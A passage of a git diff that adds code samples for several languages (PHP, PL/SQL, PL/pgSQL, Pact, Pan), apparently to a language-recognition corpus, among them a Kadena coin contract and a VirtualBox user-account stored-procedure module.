+use Thrift\Exception\TProtocolException;
+use Thrift\Protocol\TProtocol;
+use Thrift\Protocol\TBinaryProtocolAccelerated;
+use Thrift\Exception\TApplicationException;
+
+
+class PullRequest {
+  static $_TSPEC;
+
+  /**
+   * @var string
+   */
+  public $title = null;
+
+  public function __construct($vals=null) {
+    if (!isset(self::$_TSPEC)) {
+      self::$_TSPEC = array(
+        1 => array(
+          'var' => 'title',
+          'type' => TType::STRING,
+          ),
+        );
+    }
+    if (is_array($vals)) {
+      if (isset($vals['title'])) {
+        $this->title = $vals['title'];
+      }
+    }
+  }
+
+  public function getName() {
+    return 'PullRequest';
+  }
+
+  public function read($input)
+  {
+    $xfer = 0;
+    $fname = null;
+    $ftype = 0;
+    $fid = 0;
+    $xfer += $input->readStructBegin($fname);
+    while (true)
+    {
+      $xfer += $input->readFieldBegin($fname, $ftype, $fid);
+      if ($ftype == TType::STOP) {
+        break;
+      }
+      switch ($fid)
+      {
+        case 1:
+          if ($ftype == TType::STRING) {
+            $xfer += $input->readString($this->title);
+          } else {
+            $xfer += $input->skip($ftype);
+          }
+          break;
+        default:
+          $xfer += $input->skip($ftype);
+          break;
+      }
+      $xfer += $input->readFieldEnd();
+    }
+    $xfer += $input->readStructEnd();
+    return $xfer;
+  }
+
+  public function write($output) {
+    $xfer = 0;
+    $xfer += $output->writeStructBegin('PullRequest');
+    if ($this->title !== null) {
+      $xfer += $output->writeFieldBegin('title', TType::STRING, 1);
+      $xfer += $output->writeString($this->title);
+      $xfer += $output->writeFieldEnd();
+    }
+    $xfer += $output->writeFieldStop();
+    $xfer += $output->writeStructEnd();
+    return $xfer;
+  }
+
+}
diff --git a/samples/PHP/filenames/.php_cs b/samples/PHP/filenames/.php_cs
new file mode 100644
index 0000000000..b76a1c2e46
--- /dev/null
+++ b/samples/PHP/filenames/.php_cs
@@ -0,0 +1,37 @@
+<?php
+
+$header = <<<'EOF'
+This file is part of PHP CS Fixer.
+
+(c) Fabien Potencier <fabien@symfony.com>
+    Dariusz Rumiński <dariusz.ruminski@gmail.com>
+
+This source file is subject to the MIT license that is bundled
+with this source code in the file LICENSE.
+EOF;
+
+return PhpCsFixer\Config::create()
+    ->setRiskyAllowed(true)
+    ->setRules(array(
+        '@Symfony' => true,
+        '@Symfony:risky' => true,
+        'combine_consecutive_unsets' => true,
+        'header_comment' => array('header' => $header),
+        'array_syntax' => array('syntax' => 'long'),
+        'no_extra_consecutive_blank_lines' => array('break', 'continue', 'extra', 'return', 'throw', 'use', 'parenthesis_brace_block', 'square_brace_block', 'curly_brace_block'),
+        'no_useless_else' => true,
+        'no_useless_return' => true,
+        'ordered_class_elements' => true,
+        'ordered_imports' => true,
+        'php_unit_strict' => true,
+        'phpdoc_add_missing_param_annotation' => true,
+        'psr4' => true,
+        'strict_comparison' => true,
+        'strict_param' => true,
+    ))
+    ->setFinder(
+        PhpCsFixer\Finder::create()
+            ->exclude('tests/Fixtures')
+            ->in(__DIR__)
+    )
+;
diff --git a/samples/PHP/filenames/.php_cs.dist b/samples/PHP/filenames/.php_cs.dist
new file mode 100644
index 0000000000..b76a1c2e46
--- /dev/null
+++ b/samples/PHP/filenames/.php_cs.dist
@@ -0,0 +1,37 @@
+<?php
+
+$header = <<<'EOF'
+This file is part of PHP CS Fixer.
+
+(c) Fabien Potencier <fabien@symfony.com>
+    Dariusz Rumiński <dariusz.ruminski@gmail.com>
+
+This source file is subject to the MIT license that is bundled
+with this source code in the file LICENSE.
+EOF;
+
+return PhpCsFixer\Config::create()
+    ->setRiskyAllowed(true)
+    ->setRules(array(
+        '@Symfony' => true,
+        '@Symfony:risky' => true,
+        'combine_consecutive_unsets' => true,
+        'header_comment' => array('header' => $header),
+        'array_syntax' => array('syntax' => 'long'),
+        'no_extra_consecutive_blank_lines' => array('break', 'continue', 'extra', 'return', 'throw', 'use', 'parenthesis_brace_block', 'square_brace_block', 'curly_brace_block'),
+        'no_useless_else' => true,
+        'no_useless_return' => true,
+        'ordered_class_elements' => true,
+        'ordered_imports' => true,
+        'php_unit_strict' => true,
+        'phpdoc_add_missing_param_annotation' => true,
+        'psr4' => true,
+        'strict_comparison' => true,
+        'strict_param' => true,
+    ))
+    ->setFinder(
+        PhpCsFixer\Finder::create()
+            ->exclude('tests/Fixtures')
+            ->in(__DIR__)
+    )
+;
diff --git a/samples/PLSQL/print_bool.prc b/samples/PLSQL/print_bool.prc
new file mode 100644
index 0000000000..adb491dd93
--- /dev/null
+++ b/samples/PLSQL/print_bool.prc
@@ -0,0 +1,12 @@
+create or replace procedure print_bool(
+    p_bool in BOOLEAN,
+    p_true_value in varchar2 default 'TRUE',
+    p_false_value in varchar2 := 'FALSE'
+)
+as
+begin
+
+    dbms_output.put_line(case when p_bool then p_true_value else p_false_value end);
+
+end print_bool;
+/
diff --git a/samples/PLSQL/videodb.ddl b/samples/PLSQL/videodb.ddl
new file mode 100644
index 0000000000..5b42feafd6
--- /dev/null
+++ b/samples/PLSQL/videodb.ddl
@@ -0,0 +1,48 @@
+CREATE TABLE users (
+   user_name varchar2(40),
+   first_name varchar2(40),
+   last_name varchar2(40),
+   email varchar2(40),
+   password varchar2(40),
+   created_date DATE,
+   total_credits NUMBER,
+   credit_change_date DATE,
+   PRIMARY KEY (user_name)
+);
+/
+
+CREATE TABLE users_videos (
+   video_id NUMBER,
+   video_name varchar2(40),
+   user_name varchar2(40),
+   description varchar2(512),
+   upload_date DATE,
+   PRIMARY KEY (video_id),
+   CONSTRAINT "USERS_VIDEOS_FK1" FOREIGN KEY ("USER_NAME") REFERENCES "USERS"("USER_NAME")
+);
+/
+
+create or replace procedure print_user_videos(
+    p_user_name in users.user_name%type
+)
+AUTHID DEFINER
+as
+    type t_user_videos is table of users_videos%rowtype
+        index by pls_integer;
+    l_videos t_user_videos;
+begin
+
+    select *
+    bulk collect into l_videos
+    from users_videos
+    where user_name = p_user_name;
+
+    for i in 1..l_videos.COUNT
+    loop
+
+        dbms_output.put_line(l_videos(i).video_name);
+
+    end loop;
+
+end print_user_videos;
+/
diff --git a/samples/PLpgSQL/useraccount.pgsql b/samples/PLpgSQL/useraccount.pgsql
new file mode 100644
index 0000000000..a40f90119a
--- /dev/null
+++ b/samples/PLpgSQL/useraccount.pgsql
@@ -0,0 +1,168 @@
+-- $Id$
+--- @file
+-- VBox Test Manager Database Stored Procedures - UserAccounts.
+--
+
+--
+-- Copyright (C) 2012-2014 Oracle Corporation
+--
+-- This file is part of VirtualBox Open Source Edition (OSE), as
+-- available from http://www.virtualbox.org. This file is free software;
+-- you can redistribute it and/or modify it under the terms of the GNU
+-- General Public License (GPL) as published by the Free Software
+-- Foundation, in version 2 as it comes in the "COPYING" file of the
+-- VirtualBox OSE distribution. VirtualBox OSE is distributed in the
+-- hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
+--
+-- The contents of this file may alternatively be used under the terms
+-- of the Common Development and Distribution License Version 1.0
+-- (CDDL) only, as it comes in the "COPYING.CDDL" file of the
+-- VirtualBox OSE distribution, in which case the provisions of the
+-- CDDL are applicable instead of those of the GPL.
+--
+-- You may elect to license modified versions of this file under the
+-- terms and conditions of either the GPL or the CDDL or both.
+--
+
+\set ON_ERROR_STOP 1
+\connect testmanager;
+
+---
+-- Checks if the user name and login name are unique, ignoring a_uidIgnore.
+-- Raises exception if duplicates are found.
+--
+-- @internal
+--
+CREATE OR REPLACE FUNCTION UserAccountLogic_checkUniqueUser(a_sUsername TEXT, a_sLoginName TEXT, a_uidIgnore INTEGER)
+    RETURNS VOID AS $$
+    DECLARE
+        v_cRows INTEGER;
+    BEGIN
+        -- sUserName
+        SELECT  COUNT(*) INTO v_cRows
+        FROM    Users
+        WHERE   sUsername = a_sUsername
+            AND tsExpire  = 'infinity'::TIMESTAMP
+            AND uid      <> a_uidIgnore;
+        IF v_cRows <> 0 THEN
+            RAISE EXCEPTION 'Duplicate user name "%" (% times)', a_sUsername, v_cRows;
+        END IF;
+
+        -- sLoginName
+        SELECT  COUNT(*) INTO v_cRows
+        FROM    Users
+        WHERE   sLoginName = a_sLoginName
+            AND tsExpire   = 'infinity'::TIMESTAMP
+            AND uid       <> a_uidIgnore;
+        IF v_cRows <> 0 THEN
+            RAISE EXCEPTION 'Duplicate login name "%" (% times)', a_sUsername, v_cRows;
+        END IF;
+    END;
+$$ LANGUAGE plpgsql;
+              
+---
+-- Check that the user account exists.
+-- Raises exception if it doesn't.
+--
+-- @internal
+--
+CREATE OR REPLACE FUNCTION UserAccountLogic_checkExists(a_uid INTEGER) RETURNS VOID AS $$
+    DECLARE
+        v_cUpdatedRows INTEGER;
+    BEGIN
+        IF NOT EXISTS(  SELECT  *
+                        FROM    Users
+                        WHERE   uid       = a_uid
+                            AND tsExpire  = 'infinity'::TIMESTAMP ) THEN
+            RAISE EXCEPTION 'User with ID % does not currently exist', a_uid;
+        END IF;
+    END;
+$$ LANGUAGE plpgsql;
+
+---
+-- Historize a row.
+-- @internal
+--
+CREATE OR REPLACE FUNCTION UserAccountLogic_historizeEntry(a_uid INTEGER, a_tsExpire TIMESTAMP WITH TIME ZONE) 
+    RETURNS VOID AS $$
+    DECLARE
+        v_cUpdatedRows INTEGER;
+    BEGIN
+        UPDATE  Users
+          SET   tsExpire = a_tsExpire
+          WHERE uid      = a_uid
+            AND tsExpire = 'infinity'::TIMESTAMP;
+        GET DIAGNOSTICS v_cUpdatedRows = ROW_COUNT;
+        IF v_cUpdatedRows <> 1 THEN
+            IF v_cUpdatedRows = 0 THEN
+                RAISE EXCEPTION 'User with ID % does not currently exist', a_uid;
+            END IF;
+            RAISE EXCEPTION 'Integrity error in UserAccounts: % current rows with uid=%d', v_cUpdatedRows, a_uid;
+        END IF;
+    END;
+$$ LANGUAGE plpgsql;
+
+
+---
+-- Adds a new user.
+--
+CREATE OR REPLACE FUNCTION UserAccountLogic_addEntry(a_uidAuthor INTEGER, a_sUsername TEXT, a_sEmail TEXT, a_sFullName TEXT, 
+                                                     a_sLoginName TEXT) 
+    RETURNS VOID AS $$
+    DECLARE
+        v_cRows INTEGER;
+    BEGIN
+        PERFORM UserAccountLogic_checkUniqueUser(a_sUsername, a_sLoginName, -1);
+        INSERT INTO Users(uidAuthor, sUsername, sEmail, sFullName, sLoginName)
+            VALUES (a_uidAuthor, a_sUsername, a_sEmail, a_sFullName, a_sLoginName);
+    END;
+$$ LANGUAGE plpgsql;
+
+CREATE OR REPLACE FUNCTION UserAccountLogic_editEntry(a_uidAuthor INTEGER, a_uid INTEGER, a_sUsername TEXT, a_sEmail TEXT, 
+                                                      a_sFullName TEXT, a_sLoginName TEXT)  
+    RETURNS VOID AS $$
+    BEGIN
+        PERFORM UserAccountLogic_checkExists(a_uid);
+        PERFORM UserAccountLogic_checkUniqueUser(a_sUsername, a_sLoginName, a_uid);
+
+        PERFORM UserAccountLogic_historizeEntry(a_uid, CURRENT_TIMESTAMP);
+        INSERT INTO Users (uid, uidAuthor, sUsername, sEmail, sFullName, sLoginName)
+            VALUES (a_uid, a_uidAuthor, a_sUsername, a_sEmail, a_sFullName, a_sLoginName);
+    END;
+$$ LANGUAGE plpgsql;
+
+
+CREATE OR REPLACE FUNCTION UserAccountLogic_delEntry(a_uidAuthor INTEGER, a_uid INTEGER) RETURNS VOID AS $$
+    DECLARE
+        v_Row           Users%ROWTYPE;
+        v_tsEffective   TIMESTAMP WITH TIME ZONE;
+    BEGIN
+        --
+        -- To preserve the information about who deleted the record, we try to
+        -- add a dummy record which expires immediately.  I say try because of 
+        -- the primary key, we must let the new record be valid for 1 us. :-(
+        --
+
+        SELECT  * INTO STRICT v_Row
+        FROM    Users
+        WHERE   uid      = a_uid
+            AND tsExpire = 'infinity'::TIMESTAMP;
+
+        v_tsEffective := CURRENT_TIMESTAMP - INTERVAL '1 microsecond';
+        IF v_Row.tsEffective < v_tsEffective THEN
+            PERFORM UserAccountLogic_historizeEntry(a_uid, v_tsEffective);
+            v_Row.tsEffective = v_tsEffective;
+            v_Row.tsExpire    = CURRENT_TIMESTAMP;
+            INSERT INTO Users VALUES (v_Row.*);
+        ELSE
+            PERFORM UserAccountLogic_historizeEntry(a_uid, CURRENT_TIMESTAMP);
+        END IF;
+
+    EXCEPTION
+        WHEN NO_DATA_FOUND THEN
+            RAISE EXCEPTION 'User with ID % does not currently exist', a_uid;
+        WHEN TOO_MANY_ROWS THEN
+            RAISE EXCEPTION 'Integrity error in UserAccounts: Too many current rows for %', a_uid;
+    END;
+$$ LANGUAGE plpgsql;
+
diff --git a/samples/Pact/coin.pact b/samples/Pact/coin.pact
new file mode 100644
index 0000000000..1c1cdeb63b
--- /dev/null
+++ b/samples/Pact/coin.pact
@@ -0,0 +1,551 @@
+(module coin GOVERNANCE
+
+  @doc "'coin' represents the Kadena Coin Contract. This contract provides both the \
+  \buy/redeem gas support in the form of 'fund-tx', as well as transfer,       \
+  \credit, debit, coinbase, account creation and query, as well as SPV burn    \
+  \create. To access the coin contract, you may use its fully-qualified name,  \
+  \or issue the '(use coin)' command in the body of a module declaration."
+
+  @model
+    [ (defproperty conserves-mass
+        (= (column-delta coin-table 'balance) 0.0))
+
+      (defproperty valid-account (account:string)
+        (and
+          (>= (length account) 3)
+          (<= (length account) 256)))
+    ]
+
+  (implements fungible-v1)
+
+  ; --------------------------------------------------------------------------
+  ; Schemas and Tables
+
+  (defschema coin-schema
+    @doc "The coin contract token schema"
+    @model [ (invariant (>= balance 0.0)) ]
+
+    balance:decimal
+    guard:guard)
+
+  (deftable coin-table:{coin-schema})
+
+  ; --------------------------------------------------------------------------
+  ; Capabilities
+
+  (defcap GOVERNANCE ()
+    (enforce false "Enforce non-upgradeability"))
+
+  (defcap GAS ()
+    "Magic capability to protect gas buy and redeem"
+    true)
+
+  (defcap COINBASE ()
+    "Magic capability to protect miner reward"
+    true)
+
+  (defcap GENESIS ()
+    "Magic capability constraining genesis transactions"
+    true)
+
+  (defcap DEBIT (sender:string)
+    "Capability for managing debiting operations"
+    (enforce-guard (at 'guard (read coin-table sender)))
+    (enforce (!= sender "") "valid sender"))
+
+  (defcap CREDIT (receiver:string)
+    "Capability for managing crediting operations"
+    (enforce (!= receiver "") "valid receiver"))
+
+  (defcap TRANSFER:bool
+    ( sender:string
+      receiver:string
+      amount:decimal
+    )
+    @managed amount TRANSFER-mgr
+    (enforce (!= sender receiver) "same sender and receiver")
+    (enforce-unit amount)
+    (enforce (> amount 0.0) "Positive amount")
+    (compose-capability (DEBIT sender))
+    (compose-capability (CREDIT receiver))
+  )
+
+  (defun TRANSFER-mgr:decimal
+    ( managed:decimal
+      requested:decimal
+    )
+
+    (let ((newbal (- managed requested)))
+      (enforce (>= newbal 0.0)
+        (format "TRANSFER exceeded for balance {}" [managed]))
+      newbal)
+  )
+
+  ; --------------------------------------------------------------------------
+  ; Constants
+
+  (defconst COIN_CHARSET CHARSET_LATIN1
+    "The default coin contract character set")
+
+  (defconst MINIMUM_PRECISION 12
+    "Minimum allowed precision for coin transactions")
+
+  (defconst MINIMUM_ACCOUNT_LENGTH 3
+    "Minimum account length admissible for coin accounts")
+
+  (defconst MAXIMUM_ACCOUNT_LENGTH 256
+    "Maximum account name length admissible for coin accounts")
+
+  ; --------------------------------------------------------------------------
+  ; Utilities
+
+  (defun enforce-unit:bool (amount:decimal)
+    @doc "Enforce minimum precision allowed for coin transactions"
+
+    (enforce
+      (= (floor amount MINIMUM_PRECISION)
+         amount)
+      (format "Amount violates minimum precision: {}" [amount]))
+    )
+
+  (defun validate-account (account:string)
+    @doc "Enforce that an account name conforms to the coin contract \
+         \minimum and maximum length requirements, as well as the    \
+         \latin-1 character set."
+
+    (enforce
+      (is-charset COIN_CHARSET account)
+      (format
+        "Account does not conform to the coin contract charset: {}"
+        [account]))
+
+    (let ((account-length (length account)))
+
+      (enforce
+        (>= account-length MINIMUM_ACCOUNT_LENGTH)
+        (format
+          "Account name does not conform to the min length requirement: {}"
+          [account]))
+
+      (enforce
+        (<= account-length MAXIMUM_ACCOUNT_LENGTH)
+        (format
+          "Account name does not conform to the max length requirement: {}"
+          [account]))
+      )
+  )
+
+  ; --------------------------------------------------------------------------
+  ; Coin Contract
+
+  (defun gas-only ()
+    "Predicate for gas-only user guards."
+    (require-capability (GAS)))
+
+  (defun gas-guard (guard:guard)
+    "Predicate for gas + single key user guards"
+    (enforce-one
+      "Enforce either the presence of a GAS cap or keyset"
+      [ (gas-only)
+        (enforce-guard guard)
+      ]))
+
+  (defun buy-gas:string (sender:string total:decimal)
+    @doc "This function describes the main 'gas buy' operation. At this point \
+    \MINER has been chosen from the pool, and will be validated. The SENDER   \
+    \of this transaction has specified a gas limit LIMIT (maximum gas) for    \
+    \the transaction, and the price is the spot price of gas at that time.    \
+    \The gas buy will be executed prior to executing SENDER's code."
+
+    @model [ (property (> total 0.0))
+             (property (valid-account sender))
+           ]
+
+    (validate-account sender)
+
+    (enforce-unit total)
+    (enforce (> total 0.0) "gas supply must be a positive quantity")
+
+    (require-capability (GAS))
+    (with-capability (DEBIT sender)
+      (debit sender total))
+    )
+
+  (defun redeem-gas:string (miner:string miner-guard:guard sender:string total:decimal)
+    @doc "This function describes the main 'redeem gas' operation. At this    \
+    \point, the SENDER's transaction has been executed, and the gas that      \
+    \was charged has been calculated. MINER will be credited the gas cost,    \
+    \and SENDER will receive the remainder up to the limit"
+
+    @model [ (property (> total 0.0))
+             (property (valid-account sender))
+             (property (valid-account miner))
+           ]
+
+    (validate-account sender)
+    (validate-account miner)
+    (enforce-unit total)
+
+    (require-capability (GAS))
+    (let*
+      ((fee (read-decimal "fee"))
+       (refund (- total fee)))
+
+      (enforce-unit fee)
+      (enforce (>= fee 0.0)
+        "fee must be a non-negative quantity")
+
+      (enforce (>= refund 0.0)
+        "refund must be a non-negative quantity")
+
+        ; directly update instead of credit
+      (with-capability (CREDIT sender)
+        (if (> refund 0.0)
+          (with-read coin-table sender
+            { "balance" := balance }
+            (update coin-table sender
+              { "balance": (+ balance refund) }))
+
+          "noop"))
+
+      (with-capability (CREDIT miner)
+        (if (> fee 0.0)
+          (credit miner miner-guard fee)
+          "noop"))
+      )
+
+    )
+
+  (defun create-account:string (account:string guard:guard)
+    @model [ (property (valid-account account)) ]
+
+    (validate-account account)
+
+    (insert coin-table account
+      { "balance" : 0.0
+      , "guard"   : guard
+      })
+    )
+
+  (defun get-balance:decimal (account:string)
+    (with-read coin-table account
+      { "balance" := balance }
+      balance
+      )
+    )
+
+  (defun details:object{fungible-v1.account-details}
+    ( account:string )
+    (with-read coin-table account
+      { "balance" := bal
+      , "guard" := g }
+      { "account" : account
+      , "balance" : bal
+      , "guard": g })
+    )
+
+  (defun rotate:string (account:string new-guard:guard)
+
+    (with-read coin-table account
+      { "guard" := old-guard }
+
+      (enforce-guard old-guard)
+      (enforce-guard new-guard)
+
+      (update coin-table account
+        { "guard" : new-guard }
+        )))
+
+
+  (defun precision:integer
+    ()
+    MINIMUM_PRECISION)
+
+  (defun transfer:string (sender:string receiver:string amount:decimal)
+    @model [ (property conserves-mass)
+             (property (> amount 0.0))
+             (property (valid-account sender))
+             (property (valid-account receiver))
+             (property (!= sender receiver)) ]
+
+    (enforce (!= sender receiver)
+      "sender cannot be the receiver of a transfer")
+
+    (validate-account sender)
+    (validate-account receiver)
+
+    (enforce (> amount 0.0)
+      "transfer amount must be positive")
+
+    (enforce-unit amount)
+
+    (with-capability (TRANSFER sender receiver amount)
+      (debit sender amount)
+      (with-read coin-table receiver
+        { "guard" := g }
+
+        (credit receiver g amount))
+      )
+    )
+
+  (defun transfer-create:string
+    ( sender:string
+      receiver:string
+      receiver-guard:guard
+      amount:decimal )
+
+    @model [ (property conserves-mass) ]
+
+    (enforce (!= sender receiver)
+      "sender cannot be the receiver of a transfer")
+
+    (validate-account sender)
+    (validate-account receiver)
+
+    (enforce (> amount 0.0)
+      "transfer amount must be positive")
+
+    (enforce-unit amount)
+
+    (with-capability (TRANSFER sender receiver amount)
+      (debit sender amount)
+      (credit receiver receiver-guard amount))
+    )
+
+  (defun coinbase:string (account:string account-guard:guard amount:decimal)
+    @doc "Internal function for the initial creation of coins.  This function \
+    \cannot be used outside of the coin contract."
+
+    @model [ (property (valid-account account)) ]
+
+    (validate-account account)
+    (enforce-unit amount)
+
+    (require-capability (COINBASE))
+    (with-capability (CREDIT account)
+      (credit account account-guard amount))
+    )
+
+  (defpact fund-tx (sender:string miner:string miner-guard:guard total:decimal)
+    @doc "'fund-tx' is a special pact to fund a transaction in two steps,     \
+    \with the actual transaction transpiring in the middle:                   \
+    \                                                                         \
+    \  1) A buying phase, debiting the sender for total gas and fee, yielding \
+    \     TX_MAX_CHARGE.                                                      \
+    \  2) A settlement phase, resuming TX_MAX_CHARGE, and allocating to the   \
+    \     coinbase account for used gas and fee, and sender account for bal-  \
+    \     ance (unused gas, if any)."
+
+    @model [ (property (> total 0.0))
+             (property (valid-account sender))
+             (property (valid-account miner))
+             ;(property conserves-mass) not supported yet
+           ]
+
+    (step (buy-gas sender total))
+    (step (redeem-gas miner miner-guard sender total))
+    )
+
+  (defun debit:string (account:string amount:decimal)
+    @doc "Debit AMOUNT from ACCOUNT balance"
+
+    @model [ (property (> amount 0.0))
+             (property (valid-account account))
+           ]
+
+    (validate-account account)
+
+    (enforce (> amount 0.0)
+      "debit amount must be positive")
+
+    (enforce-unit amount)
+
+    (require-capability (DEBIT account))
+    (with-read coin-table account
+      { "balance" := balance }
+
+      (enforce (<= amount balance) "Insufficient funds")
+
+      (update coin-table account
+        { "balance" : (- balance amount) }
+        ))
+    )
+
+
+  (defun credit:string (account:string guard:guard amount:decimal)
+    @doc "Credit AMOUNT to ACCOUNT balance"
+
+    @model [ (property (> amount 0.0))
+             (property (valid-account account))
+           ]
+
+    (validate-account account)
+
+    (enforce (> amount 0.0) "credit amount must be positive")
+    (enforce-unit amount)
+
+    (require-capability (CREDIT account))
+    (with-default-read coin-table account
+      { "balance" : 0.0, "guard" : guard }
+      { "balance" := balance, "guard" := retg }
+      ; we don't want to overwrite an existing guard with the user-supplied one
+      (enforce (= retg guard)
+        "account guards do not match")
+
+      (write coin-table account
+        { "balance" : (+ balance amount)
+        , "guard"   : retg
+        })
+      ))
+
+
+  (defschema crosschain-schema
+    @doc "Schema for yielded value in cross-chain transfers"
+    receiver:string
+    receiver-guard:guard
+    amount:decimal)
+
+  (defpact transfer-crosschain:string
+    ( sender:string
+      receiver:string
+      receiver-guard:guard
+      target-chain:string
+      amount:decimal )
+
+    @model [ (property (> amount 0.0))
+             (property (!= receiver ""))
+             (property (valid-account sender))
+             (property (valid-account receiver))
+           ]
+
+    (step
+      (with-capability (DEBIT sender)
+
+        (validate-account sender)
+        (validate-account receiver)
+
+        (enforce (!= "" target-chain) "empty target-chain")
+        (enforce (!= (at 'chain-id (chain-data)) target-chain)
+          "cannot run cross-chain transfers to the same chain")
+
+        (enforce (> amount 0.0)
+          "transfer quantity must be positive")
+
+        (enforce-unit amount)
+
+        ;; step 1 - debit delete-account on current chain
+        (debit sender amount)
+
+        (let
+          ((crosschain-details:object{crosschain-schema}
+            { "receiver" : receiver
+            , "receiver-guard" : receiver-guard
+            , "amount" : amount
+            }))
+          (yield crosschain-details target-chain)
+          )))
+
+    (step
+      (resume
+        { "receiver" := receiver
+        , "receiver-guard" := receiver-guard
+        , "amount" := amount
+        }
+
+        ;; step 2 - credit create account on target chain
+        (with-capability (CREDIT receiver)
+          (credit receiver receiver-guard amount))
+        ))
+    )
+
+
+  ; --------------------------------------------------------------------------
+  ; Coin allocations
+
+  (defschema allocation-schema
+    @doc "Genesis allocation registry"
+    ;@model [ (invariant (>= balance 0.0)) ]
+
+    balance:decimal
+    date:time
+    guard:guard
+    redeemed:bool)
+
+  (deftable allocation-table:{allocation-schema})
+
+  (defun create-allocation-account
+    ( account:string
+      date:time
+      keyset-ref:string
+      amount:decimal
+    )
+
+    @doc "Add an entry to the coin allocation table. This function \
+         \also creates a corresponding empty coin contract account \
+         \of the same name and guard. Requires GENESIS capability. "
+
+    @model [ (property (valid-account account)) ]
+
+    (require-capability (GENESIS))
+
+    (validate-account account)
+    (enforce (>= amount 0.0)
+      "allocation amount must be non-negative")
+
+    (enforce-unit amount)
+
+    (let
+      ((guard:guard (keyset-ref-guard keyset-ref)))
+
+      (create-account account guard)
+
+      (insert allocation-table account
+        { "balance" : amount
+        , "date" : date
+        , "guard" : guard
+        , "redeemed" : false
+        })))
+
+  (defun release-allocation
+    ( account:string )
+
+    @doc "Release funds associated with allocation ACCOUNT into main ledger.   \
+         \ACCOUNT must already exist in main ledger. Allocation is deactivated \
+         \after release."
+    @model [ (property (valid-account account)) ]
+
+    (validate-account account)
+
+    (with-read allocation-table account
+      { "balance" := balance
+      , "date" := release-time
+      , "redeemed" := redeemed
+      , "guard" := guard
+      }
+
+      (let ((curr-time:time (at 'block-time (chain-data))))
+
+        (enforce (not redeemed)
+          "allocation funds have already been redeemed")
+
+        (enforce
+          (>= curr-time release-time)
+          (format "funds locked until {}. current time: {}" [release-time curr-time]))
+
+        (enforce-guard guard)
+
+        (with-capability (CREDIT account)
+          (credit account guard balance)
+
+          (update allocation-table account
+            { "redeemed" : true
+            , "balance" : 0.0
+            })
+
+          "Allocation successfully released to main ledger")
+    )))
+
+)
+
+(create-table coin-table)
+(create-table allocation-table)
diff --git a/samples/Pact/fungible-v1.pact b/samples/Pact/fungible-v1.pact
new file mode 100644
index 0000000000..30fb58320a
--- /dev/null
+++ b/samples/Pact/fungible-v1.pact
@@ -0,0 +1,120 @@
+(interface fungible-v1
+
+  " Standard for fungible coins and tokens as specified in KIP-0002. "
+
+   ; ----------------------------------------------------------------------
+   ; Schema
+
+   (defschema account-details
+    @doc "Schema for results of 'account' operation."
+    @model [ (invariant (!= "" sender)) ]
+
+    account:string
+    balance:decimal
+    guard:guard)
+
+
+   ; ----------------------------------------------------------------------
+   ; Caps
+
+   (defcap TRANSFER:bool
+     ( sender:string
+       receiver:string
+       amount:decimal
+     )
+     @doc " Managed capability sealing AMOUNT for transfer from SENDER to \
+          \ RECEIVER. Permits any number of transfers up to AMOUNT."
+     @managed amount TRANSFER-mgr
+     )
+
+   (defun TRANSFER-mgr:decimal
+     ( managed:decimal
+       requested:decimal
+     )
+     @doc " Manages TRANSFER AMOUNT linearly, \
+          \ such that a request for 1.0 amount on a 3.0 \
+          \ managed quantity emits updated amount 2.0."
+     )
+
+   ; ----------------------------------------------------------------------
+   ; Functionality
+
+   (defun transfer-create:string
+     ( sender:string
+       receiver:string
+       receiver-guard:guard
+       amount:decimal
+     )
+     @doc " Transfer AMOUNT between accounts SENDER and RECEIVER. \
+          \ Fails if SENDER does not exist. If RECEIVER exists, guard \
+          \ must match existing value. If RECEIVER does not exist, \
+          \ RECEIVER account is created using RECEIVER-GUARD. \
+          \ Subject to management by TRANSFER capability."
+     @model [ (property (> amount 0.0))
+              (property (!= sender ""))
+              (property (!= receiver ""))
+              (property (!= sender receiver))
+            ]
+     )
+
+   (defpact transfer-crosschain:string
+     ( sender:string
+       receiver:string
+       receiver-guard:guard
+       target-chain:string
+       amount:decimal
+     )
+     @doc " 2-step pact to transfer AMOUNT from SENDER on current chain \
+          \ to RECEIVER on TARGET-CHAIN via SPV proof. \
+          \ TARGET-CHAIN must be different than current chain id. \
+          \ First step debits AMOUNT coins in SENDER account and yields \
+          \ RECEIVER, RECEIVER_GUARD and AMOUNT to TARGET-CHAIN. \
+          \ Second step continuation is sent into TARGET-CHAIN with proof \
+          \ obtained from the spv 'output' endpoint of Chainweb. \
+          \ Proof is validated and RECEIVER is credited with AMOUNT \
+          \ creating account with RECEIVER_GUARD as necessary."
+     @model [ (property (> amount 0.0))
+              (property (!= sender ""))
+              (property (!= receiver ""))
+              (property (!= sender receiver))
+              (property (!= target-chain ""))
+            ]
+     )
+
+   (defun get-balance:decimal
+     ( account:string )
+     " Get balance for ACCOUNT. Fails if account does not exist."
+     )
+
+   (defun details:object{account-details}
+     ( account: string )
+     " Get an object with details of ACCOUNT. \
+     \ Fails if account does not exist."
+     )
+
+   (defun precision:integer
+     ()
+     "Return the maximum allowed decimal precision."
+     )
+
+   (defun enforce-unit:bool
+     ( amount:decimal )
+     " Enforce minimum precision allowed for transactions."
+     )
+
+   (defun create-account:string
+     ( account:string
+       guard:guard
+     )
+     " Create ACCOUNT with 0.0 balance, with GUARD controlling access."
+     )
+
+   (defun rotate:string
+     ( account:string
+       new-guard:guard
+     )
+     " Rotate guard for ACCOUNT. Transaction is validated against \
+     \ existing guard before installing new guard. "
+     )
+
+)
diff --git a/samples/Pan/ceph-raid.pan b/samples/Pan/ceph-raid.pan
new file mode 100644
index 0000000000..fd6ee76df3
--- /dev/null
+++ b/samples/Pan/ceph-raid.pan
@@ -0,0 +1,59 @@
+unique template site/filesystems/ceph-raid;
+
+prefix '/system/blockdevices';
+
+variable CEPH_OSD_DISKS = {
+    # SAS disks partitions
+    disks = list();
+    foreach (disk; data; value('/hardware/harddisks')) {
+        if (data['capacity'] > 1000 * GB) {
+            append(disks, disk);
+        };
+    };
+    disks;
+};
+
+'partitions' = {
+    foreach (idx; disk; CEPH_OSD_DISKS) {
+        partitions_add(
+            disk, dict(
+                format('%s1', disk), 10 * GB,
+                format('%s2', disk), 5 * GB,
+                format('%s3', disk), -1));
+        SELF[format('%s1', disk)]['offset'] = 1;
+    };
+    SELF;
+};
+
+#raid for data
+'md' = {
+    for (i = 0; i < length(CEPH_OSD_DISKS); i = i + 2) {
+        for (j = 2; j <= 3; j = j + 1) {
+            SELF[escape(format('md/%s0%s%d', CEPH_OSD_DISKS[i], CEPH_OSD_DISKS[i+1], j ))] = dict(
